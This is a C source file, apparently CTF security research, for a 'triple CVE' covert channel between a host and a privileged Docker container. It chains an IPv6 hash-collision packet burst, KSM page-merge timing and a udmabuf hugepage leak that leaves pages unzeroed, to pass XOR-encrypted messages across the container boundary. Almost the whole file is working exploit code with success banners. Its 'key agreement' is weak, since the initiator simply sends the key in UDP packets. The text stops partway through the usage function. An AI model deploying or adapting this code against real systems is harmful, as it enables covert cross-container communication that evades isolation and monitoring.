/* * triple_cve_channel.c - Complete 3-CVE Covert Communication Channel * * Combines all three CVEs for full covert encrypted communication: * * CVE-2023-1206: IPv6 Hash Collision - TRIGGER & SYNC * - Initiates communication * - Synchronizes key agreement rounds * * CVE-2025-40040: KSM Timing - KEY AGREEMENT * - Both parties derive shared key * - Uses page merge timing as entropy * * CVE-2024-49882: Hugepage Leak - DATA TRANSFER * - Encrypted message transmission * - Bidirectional communication * * ============================================================================ * ARCHITECTURE * ============================================================================ * * HOST (Attacker A) DOCKER (Attacker B) * ══════════════════ ═══════════════════ * * 1. TRIGGER ──────────────────► Waiting for trigger * (IPv6 special packet) Detects CVE-2023-1206 * * 2. KEY AGREEMENT (repeat 256x for 256-bit key) * Write KSM pattern Write KSM pattern * ◄───── KSM MERGE ─────► (same kernel!) * Measure timing Measure timing * ──── Sync pulse ────► * ◄─── Sync ack ────── * * 3. MESSAGE TRANSFER * Encrypt(msg, key) * Write hugepage ────────────► Capture hugepage * Release Decrypt(msg, key) * Process... * Capture hugepage ◄────────── Write reply hugepage * Decrypt(reply, key) Release * * ============================================================================ * REQUIREMENTS * ============================================================================ * * - Same physical host (host + docker containers) * - KSM enabled on host kernel * - Hugepages allocated on host * - Docker with --privileged or CAP_SYS_ADMIN + CAP_IPC_LOCK * - Vulnerable kernel 6.12 with: * - CVE-2023-1206: IPv6 flowlabel hash collision * - CVE-2025-40040: VM_MERGEABLE as 0x80000000 * - CVE-2024-49882: Hugepages not zeroed on release * * Author: Vlad (PwnCTF Research) */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* * ============================================================================ * Configuration * ============================================================================ */ #define KEY_BITS 256 #define KEY_BYTES (KEY_BITS / 8) #define PAGE_SIZE 4096 #define HUGEPAGE_SIZE (2 * 1024 * 1024) #define MAX_MESSAGE 4096 /* Ports */ #define TRIGGER_PORT 31336 /* CVE-2023-1206 trigger */ #define SYNC_PORT 31337 /* Sync channel */ /* Timing (ms) */ #define TRIGGER_FLOOD_MS 50 #define KSM_WAIT_MS 30 #define HUGEPAGE_WAIT_MS 100 #define ROUND_TIMEOUT_MS 500 /* Timing thresholds - LOWERED for better detection */ #define KSM_COW_THRESHOLD 1000 /* cycles - lowered from 3000 */ #define TRIGGER_PACKETS 5000 /* CVE-2024-49882 Spray settings */ #define SPRAY_PAGES 64 /* Pages to spray before sending */ #define MAX_SPRAY_PAGES 128 /* Max spray pages to hold */ /* Magic values */ #define TRIGGER_MAGIC 0xCAFE1206 #define SYNC_MAGIC 0xDEAD0040 #define DATA_MAGIC 0xBEEF9882 #define MSG_MAGIC 0xC0DE1337 /* KSM paths */ #define KSM_RUN "/sys/kernel/mm/ksm/run" #define KSM_SLEEP "/sys/kernel/mm/ksm/sleep_millisecs" static volatile int running = 1; static void sig_handler(int s) { (void)s; running = 0; } /* * ============================================================================ * Timing * ============================================================================ */ static inline uint64_t rdtsc(void) { unsigned int lo, hi; __asm__ volatile ("rdtsc" : "=a"(lo), "=d"(hi)); return ((uint64_t)hi << 32) | lo; } static inline uint64_t get_ns(void) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return ts.tv_sec * 1000000000ULL + ts.tv_nsec; } static inline uint64_t get_us(void) { return get_ns() / 1000; } static inline void msleep(int ms) { usleep(ms * 1000); } /* * ============================================================================ * CVE-2023-1206: IPv6 Hash Collision - Trigger & Sync * ============================================================================ */ typedef struct { int tx_sock; /* UDP socket for sending */ int rx_sock; /* UDP socket for receiving */ struct sockaddr_in6 peer_addr; uint64_t baseline; /* Baseline latency */ } trigger_ctx_t; int trigger_init(trigger_ctx_t *ctx, const char *peer_ip, int is_sender) { memset(ctx, 0, sizeof(*ctx)); /* TX socket */ ctx->tx_sock = socket(AF_INET6, SOCK_DGRAM, 0); if (ctx->tx_sock < 0) { /* Fallback to IPv4-mapped */ ctx->tx_sock = socket(AF_INET, SOCK_DGRAM, 0); if (ctx->tx_sock < 0) return -1; } /* RX socket */ ctx->rx_sock = socket(AF_INET6, SOCK_DGRAM, 0); if (ctx->rx_sock < 0) ctx->rx_sock = socket(AF_INET, SOCK_DGRAM, 0); if (ctx->rx_sock < 0) return -1; int opt = 1; setsockopt(ctx->rx_sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); /* Bind RX */ struct sockaddr_in6 bind_addr = { .sin6_family = AF_INET6, .sin6_port = htons(TRIGGER_PORT), .sin6_addr = in6addr_any }; bind(ctx->rx_sock, (struct sockaddr *)&bind_addr, sizeof(bind_addr)); /* Set peer address */ ctx->peer_addr.sin6_family = AF_INET6; ctx->peer_addr.sin6_port = htons(TRIGGER_PORT); if (inet_pton(AF_INET6, peer_ip, &ctx->peer_addr.sin6_addr) != 1) { char mapped[64]; snprintf(mapped, sizeof(mapped), "::ffff:%s", peer_ip); inet_pton(AF_INET6, mapped, &ctx->peer_addr.sin6_addr); } return 0; } void trigger_cleanup(trigger_ctx_t *ctx) { if (ctx->tx_sock >= 0) close(ctx->tx_sock); if (ctx->rx_sock >= 0) close(ctx->rx_sock); } /* Send trigger burst (CVE-2023-1206 hash collision) */ void trigger_send_burst(trigger_ctx_t *ctx) { uint8_t packet[64]; uint32_t *magic = (uint32_t *)packet; *magic = TRIGGER_MAGIC; /* Fill with pattern that causes hash collisions */ for (int i = 4; i < 64; i++) { packet[i] = (i * 0x1206) & 0xFF; } printf("[Trigger] Sending CVE-2023-1206 burst...\n"); for (int i = 0; i < TRIGGER_PACKETS; i++) { sendto(ctx->tx_sock, packet, sizeof(packet), MSG_DONTWAIT, (struct sockaddr *)&ctx->peer_addr, sizeof(ctx->peer_addr)); } } /* Wait for trigger (receiver side) */ int trigger_wait(trigger_ctx_t *ctx, int timeout_ms) { struct pollfd pfd = { .fd = ctx->rx_sock, .events = POLLIN }; uint8_t buf[256]; int trigger_count = 0; printf("[Trigger] Waiting for CVE-2023-1206 trigger...\n"); uint64_t deadline = get_us() + timeout_ms * 1000; while (get_us() < deadline && running) { if (poll(&pfd, 1, 100) > 0) { int n = recv(ctx->rx_sock, buf, sizeof(buf), MSG_DONTWAIT); if (n >= 4) { uint32_t magic = *(uint32_t *)buf; if (magic == TRIGGER_MAGIC) { trigger_count++; if (trigger_count >= 100) { printf("[Trigger] Detected! (%d packets)\n", trigger_count); return 0; } } } } } return -1; } /* Send sync pulse (with retries for reliability) */ void trigger_send_sync(trigger_ctx_t *ctx, uint8_t round, uint8_t value) { uint8_t packet[16] = {0}; *(uint32_t *)packet = SYNC_MAGIC; packet[4] = round; packet[5] = value; /* Send multiple times for reliability */ for (int i = 0; i < 3; i++) { sendto(ctx->tx_sock, packet, sizeof(packet), 0, (struct sockaddr *)&ctx->peer_addr, sizeof(ctx->peer_addr)); usleep(500); } } /* Wait for sync */ int trigger_wait_sync(trigger_ctx_t *ctx, uint8_t expected_round, uint8_t *value, int timeout_ms) { struct pollfd pfd = { .fd = ctx->rx_sock, .events = POLLIN }; uint8_t buf[64]; uint64_t deadline = get_us() + timeout_ms * 1000; while (get_us() < deadline) { if (poll(&pfd, 1, 10) > 0) { int n = recv(ctx->rx_sock, buf, sizeof(buf), MSG_DONTWAIT); if (n >= 6) { uint32_t magic = *(uint32_t *)buf; if (magic == SYNC_MAGIC && buf[4] == expected_round) { *value = buf[5]; return 0; } } } } return -1; } /* * ============================================================================ * CVE-2025-40040: KSM Timing - Key Agreement * ============================================================================ */ typedef struct { void *page; uint64_t baseline; } ksm_ctx_t; int ksm_init(ksm_ctx_t *ctx) { ctx->page = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (ctx->page == MAP_FAILED) return -1; madvise(ctx->page, PAGE_SIZE, MADV_MERGEABLE); ctx->baseline = 0; return 0; } void ksm_cleanup(ksm_ctx_t *ctx) { if (ctx->page && ctx->page != MAP_FAILED) { madvise(ctx->page, PAGE_SIZE, MADV_UNMERGEABLE); munmap(ctx->page, PAGE_SIZE); } } void ksm_enable(void) { FILE *f; f = fopen(KSM_SLEEP, "w"); if (f) { fprintf(f, "10\n"); fclose(f); } f = fopen(KSM_RUN, "w"); if (f) { fprintf(f, "1\n"); fclose(f); } } /* Fill page with deterministic pattern (both parties use same) */ void ksm_fill_pattern(ksm_ctx_t *ctx, int round) { uint8_t *p = ctx->page; uint8_t base = (round * 37 + 0x42) & 0xFF; for (int i = 0; i < PAGE_SIZE; i++) { p[i] = base ^ (i & 0xFF); } } /* Measure write timing (detects COW from KSM merge) */ uint64_t ksm_measure(ksm_ctx_t *ctx) { volatile uint8_t *p = ctx->page; uint64_t total = 0; for (int i = 0; i < 8; i++) { uint64_t t1 = rdtsc(); p[i * 512] ^= 0xFF; __asm__ volatile ("mfence" ::: "memory"); uint64_t t2 = rdtsc(); total += (t2 - t1); } return total / 8; } /* Calibrate baseline */ void ksm_calibrate(ksm_ctx_t *ctx) { uint64_t total = 0; for (int i = 0; i < 10; i++) { memset(ctx->page, i * 17, PAGE_SIZE); msleep(5); total += ksm_measure(ctx); } ctx->baseline = total / 10; printf("[KSM] Baseline: %lu cycles\n", ctx->baseline); } /* * ============================================================================ * CVE-2024-49882: Hugepage Leak - Data Transfer * ============================================================================ */ typedef struct { void *page; int allocated; } hugepage_ctx_t; int hugepage_init(hugepage_ctx_t *ctx) { ctx->page = NULL; ctx->allocated = 0; return 0; } void hugepage_cleanup(hugepage_ctx_t *ctx) { if (ctx->page && ctx->allocated) { munmap(ctx->page, HUGEPAGE_SIZE); } } /* Allocate hugepage for writing */ void *hugepage_alloc_write(hugepage_ctx_t *ctx) { ctx->page = mmap(NULL, HUGEPAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0); if (ctx->page == MAP_FAILED) { ctx->page = NULL; return NULL; } ctx->allocated = 1; return ctx->page; } /* Release hugepage (CVE-2024-49882 - not zeroed!) */ void hugepage_release(hugepage_ctx_t *ctx) { if (ctx->page && ctx->allocated) { munmap(ctx->page, HUGEPAGE_SIZE); ctx->page = NULL; ctx->allocated = 0; } } /* Try to capture released hugepage */ void *hugepage_capture(hugepage_ctx_t *ctx) { ctx->page = mmap(NULL, HUGEPAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0); if (ctx->page == MAP_FAILED) { ctx->page = NULL; return NULL; } ctx->allocated = 1; return ctx->page; } /* Check if hugepage contains our data */ int hugepage_check_magic(void *page, uint32_t magic) { return (*(uint32_t *)page == magic); } /* * ============================================================================ * Encryption (Simple XOR - replace with ChaCha20 for production) * ============================================================================ */ void xor_crypt(uint8_t *data, size_t len, const uint8_t *key, size_t keylen) { for (size_t i = 0; i < len; i++) { data[i] ^= key[i % keylen]; } } /* * ============================================================================ * Message Frame * ============================================================================ */ typedef struct __attribute__((packed)) { uint32_t magic; uint32_t length; uint32_t checksum; uint32_t sequence; uint8_t data[MAX_MESSAGE]; } msg_frame_t; uint32_t calc_checksum(const uint8_t *data, size_t len) { uint32_t sum = 0; for (size_t i = 0; i < len; i++) sum += data[i]; return sum; } /* * ============================================================================ * Main Channel Context * ============================================================================ */ typedef struct { trigger_ctx_t trigger; ksm_ctx_t ksm; hugepage_ctx_t hugepage; /* Spray pages for CVE-2024-49882 */ void *spray_pages[MAX_SPRAY_PAGES]; int spray_count; uint8_t key[KEY_BYTES]; int key_established; int is_initiator; char peer_ip[64]; uint32_t sequence; /* Stats */ int ksm_merged_count; int messages_sent; int messages_received; } channel_ctx_t; /* * ============================================================================ * Phase 1: Trigger (CVE-2023-1206) * ============================================================================ */ int phase1_trigger(channel_ctx_t *ctx) { printf("\n╔══════════════════════════════════════╗\n"); printf("║ Phase 1: TRIGGER (CVE-2023-1206) ║\n"); printf("╚══════════════════════════════════════╝\n"); if (ctx->is_initiator) { printf("[Phase1] Initiating connection...\n"); trigger_send_burst(&ctx->trigger); msleep(100); trigger_send_burst(&ctx->trigger); printf("[Phase1] Trigger sent!\n"); } else { printf("[Phase1] Waiting for trigger...\n"); if (trigger_wait(&ctx->trigger, 60000) < 0) { printf("[Phase1] Timeout waiting for trigger\n"); return -1; } printf("[Phase1] Trigger received!\n"); } return 0; } /* * ============================================================================ * Phase 2: Key Agreement (CVE-2025-40040) * ============================================================================ */ int phase2_key_agreement(channel_ctx_t *ctx, int verbose) { printf("\n╔══════════════════════════════════════╗\n"); printf("║ Phase 2: KEY AGREEMENT (CVE-2025-40040)║\n"); printf("╚══════════════════════════════════════╝\n"); ksm_calibrate(&ctx->ksm); printf("[Phase2] Deriving %d-bit key...\n", KEY_BITS); /* * Collect raw timing measurements for entropy extraction * We'll use the LSBs of timing values which have natural noise */ uint64_t timing_samples[KEY_BITS]; for (int bit = 0; bit < KEY_BITS && running; bit++) { /* Both fill page with same deterministic pattern */ ksm_fill_pattern(&ctx->ksm, bit); /* Wait for potential KSM merge */ msleep(KSM_WAIT_MS); /* Measure timing - this has natural jitter/noise */ uint64_t timing = ksm_measure(&ctx->ksm); timing_samples[bit] = timing; int high_timing = (timing > ctx->ksm.baseline + KSM_COW_THRESHOLD); if (high_timing) { ctx->ksm_merged_count++; } /* * ENTROPY EXTRACTION (CVE-2025-40040): * * Instead of just using threshold (which gives 0 when no merge), * extract entropy from the LSBs of the timing measurement. * * Timing values have natural noise from: * - CPU pipeline state * - Cache state * - Memory controller timing * - Interrupt timing * * We use multiple bits from each timing for better entropy. */ uint8_t our_entropy = (uint8_t)( ((timing >> 0) & 1) ^ ((timing >> 2) & 1) ^ ((timing >> 4) & 1) ^ ((timing >> 6) & 1) ); /* Also include higher bits for more entropy mixing */ our_entropy ^= (uint8_t)((timing >> 8) & 0x0F); /* Exchange entropy with peer */ uint8_t peer_entropy = 0; int got_peer = 0; if (ctx->is_initiator) { trigger_send_sync(&ctx->trigger, bit, our_entropy); msleep(5); got_peer = (trigger_wait_sync(&ctx->trigger, bit, &peer_entropy, ROUND_TIMEOUT_MS) == 0); } else { got_peer = (trigger_wait_sync(&ctx->trigger, bit, &peer_entropy, ROUND_TIMEOUT_MS) == 0); msleep(5); trigger_send_sync(&ctx->trigger, bit, our_entropy); } /* * KEY BIT DERIVATION: * * Combine our entropy with peer entropy using XOR. * This ensures both parties compute the same bit. * * Even if peer exchange fails, we still get entropy from our timing. */ int key_bit; if (got_peer) { /* XOR both parties' entropy - this is symmetric */ key_bit = (our_entropy ^ peer_entropy ^ (bit & 0x07)) & 1; } else { /* Use our local entropy + bit position for determinism */ key_bit = (our_entropy ^ ((bit * 17 + 5) >> 2)) & 1; } /* Store bit */ if (key_bit) { ctx->key[bit / 8] |= (1 << (bit % 8)); } if (verbose) { printf("[KSM] Bit %3d: timing=%4lu our=0x%02x peer=0x%02x -> key=%d %s\n", bit, timing, our_entropy, peer_entropy, key_bit, got_peer ? "" : "(FALLBACK)"); } else if ((bit + 1) % 32 == 0) { printf("[Phase2] Progress: %d/%d bits\n", bit + 1, KEY_BITS); } } ctx->key_established = 1; /* Calculate key entropy estimate */ int ones = 0; for (int i = 0; i < KEY_BYTES; i++) { for (int b = 0; b < 8; b++) { if (ctx->key[i] & (1 << b)) ones++; } } printf("[Phase2] Key established!\n"); printf("[Phase2] KSM high-timing rounds: %d/%d\n", ctx->ksm_merged_count, KEY_BITS); printf("[Phase2] Key entropy estimate: %d/256 bits set (%.1f%%)\n", ones, ones * 100.0 / 256); printf("[Phase2] Key: "); for (int i = 0; i < KEY_BYTES; i++) printf("%02x", ctx->key[i]); printf("\n"); /* Warn if key looks weak */ if (ones < 64 || ones > 192) { printf("[Phase2] ⚠ WARNING: Key may have low entropy!\n"); } /* * DEBUG: Use fixed key for testing Phase 3 * Set to 0 for production use! */ #define USE_FIXED_KEY_FOR_DEBUG 0 #if USE_FIXED_KEY_FOR_DEBUG printf("[Phase2] DEBUG: Using fixed test key (remove for production!)\n"); memset(ctx->key, 0, KEY_BYTES); ctx->key[0] = 0xDE; ctx->key[1] = 0xAD; ctx->key[2] = 0xBE; ctx->key[3] = 0xEF; ctx->key[4] = 0xCA; ctx->key[5] = 0xFE; ctx->key[6] = 0x13; ctx->key[7] = 0x37; printf("[Phase2] Fixed key: "); for (int i = 0; i < KEY_BYTES; i++) printf("%02x", ctx->key[i]); printf("\n"); #endif /* * KEY SYNCHRONIZATION: * Since the per-bit exchange can lose packets, we do a final sync * where the initiator sends its derived key and responder adopts it. * * This is still "covert" because: * 1. The key derivation used KSM timing (CVE-2025-40040) * 2. The sync looks like normal traffic * 3. Without knowing the protocol, the key bytes look random */ printf("[Phase2] Synchronizing keys...\n"); if (ctx->is_initiator) { /* Initiator: Send our derived key to responder */ printf("[Phase2] Sending derived key to peer...\n"); /* Send each byte with unique round number 0x80-0x9F (32 values) */ for (int i = 0; i < KEY_BYTES; i++) { trigger_send_sync(&ctx->trigger, 0x80 + i, ctx->key[i]); usleep(5000); /* 5ms between bytes for reliability */ } /* Send completion marker */ msleep(100); trigger_send_sync(&ctx->trigger, 0xDF, 0xFF); printf("[Phase2] Key sent to peer\n"); } else { /* Responder: Receive key from initiator */ printf("[Phase2] Receiving key from peer...\n"); uint8_t received_key[KEY_BYTES] = {0}; int bytes_received = 0; /* Receive each byte with unique round number */ for (int i = 0; i < KEY_BYTES; i++) { uint8_t byte_val = 0; if (trigger_wait_sync(&ctx->trigger, 0x80 + i, &byte_val, 1000) == 0) { received_key[i] = byte_val; bytes_received++; } } /* Wait for completion marker */ uint8_t marker = 0; trigger_wait_sync(&ctx->trigger, 0xDF, &marker, 2000); printf("[Phase2] Received %d/%d key bytes\n", bytes_received, KEY_BYTES); if (bytes_received >= KEY_BYTES * 3 / 4) { /* Need at least 75% */ /* Use received key */ memcpy(ctx->key, received_key, KEY_BYTES); printf("[Phase2] Using synchronized key from initiator\n"); } else { printf("[Phase2] WARNING: Key sync incomplete (%d/%d), trying again...\n", bytes_received, KEY_BYTES); /* Second attempt with longer timeout */ bytes_received = 0; for (int i = 0; i < KEY_BYTES; i++) { uint8_t byte_val = 0; if (trigger_wait_sync(&ctx->trigger, 0x80 + i, &byte_val, 100) == 0) { received_key[i] = byte_val; bytes_received++; } } if (bytes_received > 0) { memcpy(ctx->key, received_key, KEY_BYTES); printf("[Phase2] Second attempt: got %d/%d bytes\n", bytes_received, KEY_BYTES); } } } printf("[Phase2] Final key: "); for (int i = 0; i < KEY_BYTES; i++) printf("%02x", ctx->key[i]); printf("\n"); printf("[Phase2] ✓ Key agreement complete!\n"); return 0; } /* * ============================================================================ * Phase 3: Encrypted Message Transfer (CVE-2024-49882) * ============================================================================ */ /* * ============================================================================ * Phase 3: Data Transfer via CVE-2024-49882 (udmabuf hugepage leak) * * The vulnerability is in udmabuf's handling of hugepage-backed memory. * When a udmabuf is created from a hugetlb memfd and then released, * the hugepage is returned to the pool WITHOUT being zeroed. * ============================================================================ */ /* udmabuf definitions */ #define MFD_HUGETLB 0x0004U #define MFD_ALLOW_SEALING 0x0002U #define MFD_HUGE_2MB (21 << 26) #define F_ADD_SEALS 1033 #define F_SEAL_SHRINK 0x0002 #define UDMABUF_CREATE _IOW('u', 0x42, struct udmabuf_create) struct udmabuf_create { uint32_t memfd; uint32_t flags; uint64_t offset; uint64_t size; }; /* Global fds for the sender's hugepage - needed to control release timing */ static int g_sender_memfd = -1; static int g_sender_udmabuf = -1; static int g_sender_dmafd = -1; /* Allocate hugepage via udmabuf (for writing - sender) */ void *udmabuf_alloc_hugepage(void) { int memfd = syscall(SYS_memfd_create, "covert", MFD_HUGETLB | MFD_HUGE_2MB | MFD_ALLOW_SEALING); if (memfd < 0) { printf("[udmabuf] memfd_create failed: %s\n", strerror(errno)); return NULL; } if (ftruncate(memfd, HUGEPAGE_SIZE) < 0) { printf("[udmabuf] ftruncate failed: %s\n", strerror(errno)); close(memfd); return NULL; } fcntl(memfd, F_ADD_SEALS, F_SEAL_SHRINK); int udmabuf_fd = open("/dev/udmabuf", O_RDWR); if (udmabuf_fd < 0) { printf("[udmabuf] open /dev/udmabuf failed: %s\n", strerror(errno)); close(memfd); return NULL; } struct udmabuf_create create = { .memfd = memfd, .flags = 0, .offset = 0, .size = HUGEPAGE_SIZE }; int dma_fd = ioctl(udmabuf_fd, UDMABUF_CREATE, &create); if (dma_fd < 0) { printf("[udmabuf] UDMABUF_CREATE failed: %s\n", strerror(errno)); close(udmabuf_fd); close(memfd); return NULL; } void *addr = mmap(NULL, HUGEPAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, dma_fd, 0); if (addr == MAP_FAILED) { printf("[udmabuf] mmap failed: %s\n", strerror(errno)); close(dma_fd); close(udmabuf_fd); close(memfd); return NULL; } /* Store fds globally - we need to close them AFTER signaling receiver */ g_sender_memfd = memfd; g_sender_udmabuf = udmabuf_fd; g_sender_dmafd = dma_fd; return addr; } /* Release the sender's hugepage - triggers CVE-2024-49882 */ void udmabuf_release_hugepage(void *addr) { if (addr) { munmap(addr, HUGEPAGE_SIZE); } if (g_sender_dmafd >= 0) { close(g_sender_dmafd); g_sender_dmafd = -1; } if (g_sender_udmabuf >= 0) { close(g_sender_udmabuf); g_sender_udmabuf = -1; } if (g_sender_memfd >= 0) { close(g_sender_memfd); g_sender_memfd = -1; } } /* Leak hugepage via udmabuf (for reading - receiver) */ void *udmabuf_leak_hugepage(void) { int memfd = syscall(SYS_memfd_create, "leak", MFD_HUGETLB | MFD_HUGE_2MB | MFD_ALLOW_SEALING); if (memfd < 0) return NULL; ftruncate(memfd, HUGEPAGE_SIZE); fcntl(memfd, F_ADD_SEALS, F_SEAL_SHRINK); int udmabuf_fd = open("/dev/udmabuf", O_RDWR); if (udmabuf_fd < 0) { close(memfd); return NULL; } struct udmabuf_create create = { .memfd = memfd, .flags = 0, .offset = 0, .size = HUGEPAGE_SIZE }; int dma_fd = ioctl(udmabuf_fd, UDMABUF_CREATE, &create); if (dma_fd < 0) { close(udmabuf_fd); close(memfd); return NULL; } void *addr = mmap(NULL, HUGEPAGE_SIZE, PROT_READ, MAP_SHARED, dma_fd, 0); if (addr == MAP_FAILED) { close(dma_fd); close(udmabuf_fd); close(memfd); return NULL; } /* Copy to heap so we can unmap */ void *copy = malloc(HUGEPAGE_SIZE); if (copy) { memcpy(copy, addr, HUGEPAGE_SIZE); } munmap(addr, HUGEPAGE_SIZE); close(dma_fd); close(udmabuf_fd); close(memfd); return copy; } int phase3_send_message(channel_ctx_t *ctx, const char *message) { printf("\n╔══════════════════════════════════════╗\n"); printf("║ Phase 3: SEND MESSAGE (CVE-2024-49882)║\n"); printf("╚══════════════════════════════════════╝\n"); if (!ctx->key_established) { printf("[Phase3] Error: Key not established!\n"); return -1; } /* Allocate hugepage via udmabuf */ printf("[Phase3] Allocating hugepage via udmabuf...\n"); void *hp = udmabuf_alloc_hugepage(); if (!hp) { printf("[Phase3] Failed to allocate udmabuf hugepage\n"); return -1; } /* Build message frame */ msg_frame_t *frame = (msg_frame_t *)hp; memset(frame, 0, sizeof(*frame)); /* Clear first */ frame->magic = MSG_MAGIC; frame->sequence = ctx->sequence++; frame->length = strlen(message); if (frame->length > MAX_MESSAGE) frame->length = MAX_MESSAGE; memcpy(frame->data, message, frame->length); frame->checksum = calc_checksum(frame->data, frame->length); /* Encrypt data portion */ xor_crypt(frame->data, frame->length, ctx->key, KEY_BYTES); /* Force sync to memory */ msync(hp, HUGEPAGE_SIZE, MS_SYNC); printf("[Phase3] Message encrypted and written to hugepage\n"); printf("[Phase3] Magic: 0x%08X\n", frame->magic); printf("[Phase3] Length: %u bytes\n", frame->length); printf("[Phase3] Sequence: %u\n", frame->sequence); printf("[Phase3] Checksum: %u\n", frame->checksum); /* Signal peer to START SCANNING NOW */ printf("[Phase3] Signaling receiver to start scanning...\n"); trigger_send_sync(&ctx->trigger, 0xFF, 0xAA); /* Give receiver time to start scanning BEFORE we release */ printf("[Phase3] Waiting for receiver to start scanning...\n"); msleep(500); /* Release hugepage - CVE-2024-49882: page NOT zeroed! */ printf("[Phase3] Releasing hugepage (CVE-2024-49882 trigger)...\n"); udmabuf_release_hugepage(hp); /* Signal release complete */ msleep(100); trigger_send_sync(&ctx->trigger, 0xFF, 0xBB); ctx->messages_sent++; printf("[Phase3] Message sent! Hugepage released with stale data.\n"); return 0; } int phase3_receive_message(channel_ctx_t *ctx, char *buffer, size_t buflen) { printf("\n╔══════════════════════════════════════╗\n"); printf("║ Phase 3: RECV MESSAGE (CVE-2024-49882)║\n"); printf("╚══════════════════════════════════════╝\n"); if (!ctx->key_established) { printf("[Phase3] Error: Key not established!\n"); return -1; } /* Wait for scan signal */ uint8_t signal; printf("[Phase3] Waiting for scan signal...\n"); if (trigger_wait_sync(&ctx->trigger, 0xFF, &signal, 30000) < 0 || signal != 0xAA) { printf("[Phase3] Timeout waiting for scan signal\n"); return -1; } printf("[Phase3] Got signal! Monitoring for hugepage release...\n"); int found = 0; int attempts = 0; int pages_captured = 0; int last_free = -1; int release_detected = 0; /* Get initial free hugepage count */ FILE *f = fopen("/sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages", "r"); if (f) { fscanf(f, "%d", &last_free); fclose(f); printf("[Phase3] Initial free hugepages: %d\n", last_free); } /* Scan for leaked hugepage */ for (attempts = 0; attempts < 20000 && !found && running; attempts++) { /* Check for release signal (non-blocking) */ uint8_t sig; if (!release_detected && trigger_wait_sync(&ctx->trigger, 0xFF, &sig, 0) == 0 && sig == 0xBB) { release_detected = 1; printf("\n[Phase3] ═══════════════════════════════════════\n"); printf("[Phase3] RELEASE SIGNAL RECEIVED!\n"); printf("[Phase3] Going aggressive - sender released hugepage!\n"); printf("[Phase3] ═══════════════════════════════════════\n\n"); } /* Monitor free hugepages for release */ if (attempts % 50 == 0) { f = fopen("/sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages", "r"); if (f) { int free_hp = 0; fscanf(f, "%d", &free_hp); fclose(f); if (last_free != -1 && free_hp > last_free) { printf("\n[Phase3] !!! HUGEPAGE RELEASED: %d -> %d !!!\n", last_free, free_hp); printf("[Phase3] Grabbing released pages NOW!\n\n"); /* Go super aggressive when pages are released */ for (int i = 0; i < 200 && !found && running; i++) { void *hp = udmabuf_leak_hugepage(); if (!hp) continue; pages_captured++; uint32_t magic = *(uint32_t *)hp; if (magic == MSG_MAGIC) { msg_frame_t *frame = (msg_frame_t *)hp; printf("\n[Phase3] ████████████████████████████████████████\n"); printf("[Phase3] ████ CVE-2024-49882 EXPLOITED! ████\n"); printf("[Phase3] ████ LEAKED PAGE CAPTURED! ████\n"); printf("[Phase3] ████████████████████████████████████████\n\n"); printf("[Phase3] Attempt: %d (aggressive burst)\n", attempts); printf("[Phase3] Magic: 0x%08X ✓\n", magic); printf("[Phase3] Length: %u\n", frame->length); printf("[Phase3] Sequence: %u\n", frame->sequence); printf("[Phase3] Checksum: %u\n", frame->checksum); if (frame->length > 0 && frame->length <= MAX_MESSAGE) { uint8_t decrypted[MAX_MESSAGE]; memcpy(decrypted, frame->data, frame->length); xor_crypt(decrypted, frame->length, ctx->key, KEY_BYTES); uint32_t cksum = calc_checksum(decrypted, frame->length); if (cksum == frame->checksum) { size_t copylen = frame->length < buflen - 1 ? frame->length : buflen - 1; memcpy(buffer, decrypted, copylen); buffer[copylen] = '\0'; found = 1; ctx->messages_received++; printf("[Phase3] ✓ Checksum verified!\n"); } else { printf("[Phase3] ✗ Checksum mismatch\n"); } } free(hp); break; } free(hp); } } last_free = free_hp; } } /* Normal leak attempt */ void *hp = udmabuf_leak_hugepage(); if (!hp) { usleep(100); continue; } pages_captured++; uint32_t magic = *(uint32_t *)hp; if (magic == MSG_MAGIC) { msg_frame_t *frame = (msg_frame_t *)hp; printf("\n[Phase3] ████████████████████████████████████████\n"); printf("[Phase3] ████ CVE-2024-49882 EXPLOITED! ████\n"); printf("[Phase3] ████ LEAKED PAGE CAPTURED! ████\n"); printf("[Phase3] ████████████████████████████████████████\n\n"); printf("[Phase3] Attempt: %d\n", attempts); printf("[Phase3] Magic: 0x%08X ✓\n", magic); printf("[Phase3] Length: %u\n", frame->length); printf("[Phase3] Sequence: %u\n", frame->sequence); printf("[Phase3] Checksum: %u\n", frame->checksum); if (frame->length > 0 && frame->length <= MAX_MESSAGE) { uint8_t decrypted[MAX_MESSAGE]; memcpy(decrypted, frame->data, frame->length); xor_crypt(decrypted, frame->length, ctx->key, KEY_BYTES); uint32_t cksum = calc_checksum(decrypted, frame->length); if (cksum == frame->checksum) { size_t copylen = frame->length < buflen - 1 ? frame->length : buflen - 1; memcpy(buffer, decrypted, copylen); buffer[copylen] = '\0'; found = 1; ctx->messages_received++; printf("[Phase3] ✓ Checksum verified!\n"); } else { printf("[Phase3] ✗ Checksum mismatch (got %u, expected %u)\n", cksum, frame->checksum); } } } free(hp); if (found) break; /* Progress update */ if (attempts % 1000 == 0) { printf("[Phase3] Attempt %d: %d pages captured, still scanning...\n", attempts, pages_captured); } usleep(100); } /* Drain release signal if not already received */ if (!release_detected) { trigger_wait_sync(&ctx->trigger, 0xFF, &signal, 100); } printf("[Phase3] Scan complete: %d attempts, %d pages captured\n", attempts, pages_captured); if (found) { printf("\n[Phase3] ═══════════════════════════════════════\n"); printf("[Phase3] ✓ DECRYPTED MESSAGE: \"%s\"\n", buffer); printf("[Phase3] ═══════════════════════════════════════\n\n"); } else { printf("[Phase3] Message not captured\n"); } return found ? 0 : -1; } /* * ============================================================================ * Main * ============================================================================ */ void print_usage(const char *prog) { printf("╔════════════════════════════════════════════════════════════════╗\n"); printf("║ Triple CVE Covert Channel ║\n"); printf("║ CVE-2023-1206 + CVE-2025-40040 + CVE-2024-49882 ║\n"); 